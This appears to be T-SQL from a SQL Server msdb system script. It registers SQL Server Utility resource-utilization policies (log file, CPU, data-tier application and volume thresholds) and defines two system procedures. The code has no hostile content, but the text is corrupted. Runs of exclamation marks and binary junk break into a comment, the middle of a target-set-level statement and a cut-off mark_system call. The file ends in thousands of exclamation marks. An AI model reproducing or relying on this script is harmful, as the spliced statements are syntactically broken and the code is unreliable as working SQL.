    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityServerLogFileSpaceOverUtilizationPolicy_ObjectSet', @facet=N'ILogFilePerformanceFacet', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityServerLogFileSpaceOverUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityServerLogFileSpaceOverUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/Server/Database/LogFile', @type=N'LOGFILE', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database/LogFile', @level_name=N'LogFile', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database', @level_name=N'Database', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server', @level_name=N'Server', @condition_name=N'', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityServerLogFileSpaceOverUtilizationPolicy', @condition_name=N'UtilityServerLogFileSpaceOverUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for log file space overutilization on a managed instance of SQL Server.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityServerLogFileSpaceOverUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityServerLogFileSpaceOverUtilizationPolicy', @marker=1

    SELECT @server_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/Server'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityServerLogFileSpaceOverUtilizationPolicy',@rollup_object_type=2,@rollup_object_urn=@server_urn,@target_type=3,@resource_type=1,@utilization_type=2,@utilization_threshold=70

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityServerLogFileSpaceUnderUtilizationPolicy
    ------------------------------------------------------------------------------------------------------------------------------------------!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(OQv+-------------------

    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityServerLogFileSpaceUnderUtilizationPolicy_ObjectSet', @facet=N'ILogFilePerformanceFacet', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityServerLogFileSpaceUnderUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityServerLogFileSpaceUnderUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/Server/Database/LogFile', @type=N'LOGFILE', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database/LogFile', @level_name=N'LogFile', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database', @level_name=N'Database', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server', @level_name=N'Server', @condition_name=N'', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityServerLogFileSpaceUnderUtilizationPolicy', @condition_name=N'UtilityServerLogFileSpaceUnderUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for log file space underutilization on a managed instance of SQL Server.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityServerLogFileSpaceUnderUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityServerLogFileSpaceUnderUtilizationPolicy', @marker=1

    SELECT @server_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/Server'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityServerLogFileSpaceUnderUtilizationPolicy',@rollup_object_type=2,@rollup_object_urn=@server_urn,@target_type=3,@resource_type=1,@utilization_type=1,@utilization_threshold=0

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityServerProcessorOverUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityServerProcessorOverUtilizationPolicy_ObjectSet', @facet=N'Server', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityServerProcessorOverUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityServerProcessorOverUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/Server', @type=N'SERVER', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server', @level_name=N'Server', @condition_name=N'UtilityServerProcessorOverUtilizationTargetCondition', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityServerProcessorOverUtilizationPolicy', @condition_name=N'UtilityServerProcessorOverUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for CPU overutilization on a managed instance of SQL Server.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityServerProcessorOverUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityServerProcessorOverUtilizationPolicy', @marker=1

    SELECT @server_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/Server'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityServerProcessorOverUtilizationPolicy',@rollup_object_type=2,@rollup_object_urn=@server_urn,@target_type=4,@resource_type=3,@utilization_type=2,@utilization_threshold=70

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityServerProcessorUnderUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityServerProcessorUnderUtilizationPolicy_ObjectSet', @facet=N'Server', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityServerProcessorUnderUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityServerProcessorUnderUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/Server', @type=N'SERVER', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server', @level_name=N'Server', @condition_name=N'UtilityServerProcessorUnderUtilizationTargetCondition', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityServerProcessorUnderUtilizationPolicy', @condition_name=N'UtilityServerProcessorUnderUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for CPU underutilization on a managed instance of SQL Server.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityServerProcessorUnderUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityServerProcessorUnderUtilizationPolicy', @marker=1

    SELECT @server_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/Server'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityServerProcessorUnderUtilizationPolicy',@rollup_object_type=2,@rollup_object_urn=@server_urn,@target_type=4,@resource_type=3,@utilization_type=1,@utilization_threshold=0

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityDacProcessorOverUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityDacProcessorOverUtilizationPolicy_ObjectSet', @facet=N'DeployedDac', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityDacProcessorOverUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityDacProcessorOverUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/DeployedDac', @type=N'DEPLOYEDDAC', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/DeployedDac'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(OHpv+, @level_name=N'DeployedDac', @condition_name=N'UtilityDacProcessorOverUtilizationTargetCondition', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityDacProcessorOverUtilizationPolicy', @condition_name=N'UtilityDacProcessorOverUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for CPU overutilization for a deployed data-tier application.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityDacProcessorOverUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityDacProcessorOverUtilizationPolicy', @marker=1

    SELECT @dac_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/DeployedDac'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityDacProcessorOverUtilizationPolicy',@rollup_object_type=1,@rollup_object_urn=@dac_urn,@target_type=5,@resource_type=3,@utilization_type=2,@utilization_threshold=70

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityDacProcessorUnderUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityDacProcessorUnderUtilizationPolicy_ObjectSet', @facet=N'DeployedDac', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityDacProcessorUnderUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityDacProcessorUnderUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/DeployedDac', @type=N'DEPLOYEDDAC', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/DeployedDac', @level_name=N'DeployedDac', @condition_name=N'UtilityDacProcessorUnderUtilizationTargetCondition', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityDacProcessorUnderUtilizationPolicy', @condition_name=N'UtilityDacProcessorUnderUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for CPU underutilization for a deployed data-tier application.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityDacProcessorUnderUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityDacProcessorUnderUtilizationPolicy', @marker=1

    SELECT @dac_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/DeployedDac'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityDacProcessorUnderUtilizationPolicy',@rollup_object_type=1,@rollup_object_urn=@dac_urn,@target_type=5,@resource_type=3,@utilization_type=1,@utilization_threshold=0

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityVolumeSpaceOverUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityVolumeSpaceOverUtilizationPolicy_ObjectSet', @facet=N'Volume', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityVolumeSpaceOverUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityVolumeSpaceOverUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/Computer/Volume', @type=N'VOLUME', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Computer/Volume', @level_name=N'Volume', @condition_name=N'UtilityVolumeSpaceOverUtilizationTargetCondition', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Computer', @level_name=N'Computer', @condition_name=N'', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityVolumeSpaceOverUtilizationPolicy', @condition_name=N'UtilityVolumeSpaceOverUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for volume space overutilization on a computer that hosts a managed instance of SQL Server.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityVolumeSpaceOverUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityVolumeSpaceOverUtilizationPolicy', @marker=1

    SELECT @computer_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/Computer'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityVolumeSpaceOverUtilizationPolicy',@rollup_object_type=3,@rollup_object_urn=@computer_urn,@target_type=6,@resource_type=1,@utilization_type=2,@utilization_threshold=70

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityVolumeSpaceUnderUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityVolumeSpaceUnderUtilizationPolicy_ObjectSet', @facet=N'Volume', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityVolumeSpaceUnderUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityVolumeSpaceUnderUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/Computer/Volume', @type=N'VOLUME', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Computer/Volume', @level_name=N'Volume', @condition_name=N'UtilityVolumeSpaceUnderUtilizationTargetCondition', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Computer', @level_name=N'Computer', @condition_name=N'', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityVolumeSpaceUnderUtilizationPolicy', @condition_name=N'UtilityVolumeSpaceUnderUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for volume space underutilization on a computer that hosts a managed instance of SQL Server.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityVolumeSpaceUnderUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POL!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<6JE|0̴~ 8CREATE PROCEDURE sp_get_message_description
  @error INT
AS
BEGIN
  IF EXISTS (SELECT * FROM master.dbo.sysmessages WHERE (error = @error) AND (msglangid = (SELECT msglangid FROM sys.syslanguages WHERE (langid = @@langid))))
    SELECT description FROM master.dbo.sysmessages WHERE (error = @error) AND (msglangid = (SELECT msglangid FROM sys.syslanguages WHERE (langid = @@langid)))
  ELSE
    SELECT description FROM master.dbo.sysmessages WHERE (error = @error) AND (msglangid = 1033)
END
0]"~ Q8CREATE PROCEDURE [dbo].[sp_syspolicy_configure]
    @name sysname,
    @value sql_variant
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF (0 != @retval_check)
	BEGIN
		RETURN @retval_check
	END

    DECLARE @value_type sysname;
    
    IF (@name=N'Enabled')
    BEGIN
        SET @value_type = CONVERT(sysname, SQL_VARIANT_PROPERTY(@value, 'BaseType'));
        IF (@value_type != 'int')
        BEGIN
            RAISERROR (34021, -1, -1, @name, @value_type);
            RETURN 34021;
        END
       
        EXEC msdb.[dbo].[sp_syspolicy_set_config_enabled] @value;
    END
    ELSE 
    IF (@name = N'HistoryRetentionInDays')
    BEGIN
        SET @value_type = CONVERT(sysname, SQL_VARIANT_PROPERTY(@value, 'BaseType'));
        IF (@value_type != 'int')
        BEGIN
            RAISERROR (34021, -1, -1, @name, @value_type);
            RETURN 34021;
        END
        
        EXEC msdb.[dbo].[sp_syspolicy_set_config_history_retention] @value;
    END
    ELSE
    IF (@name=N'LogOnSuccess')
    BEGIN
        SET @value_type = CONVERT(sysname, SQL_VARIANT_PROPERTY(@value, 'BaseType'));
        IF (@value_type != 'int')
        BEGIN
            RAISERROR (34021, -1, -1, @name, @value_type);
            RETURN 34021;
        END
       
        EXEC msdb.[dbo].[sp_syspolicy_set_log_on_success] @value;
    END
    ELSE 
    BEGIN
        RAISERROR(34020, -1, -1, @name);
        RETURN 34020;
    END
    
    RETURN 0;
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!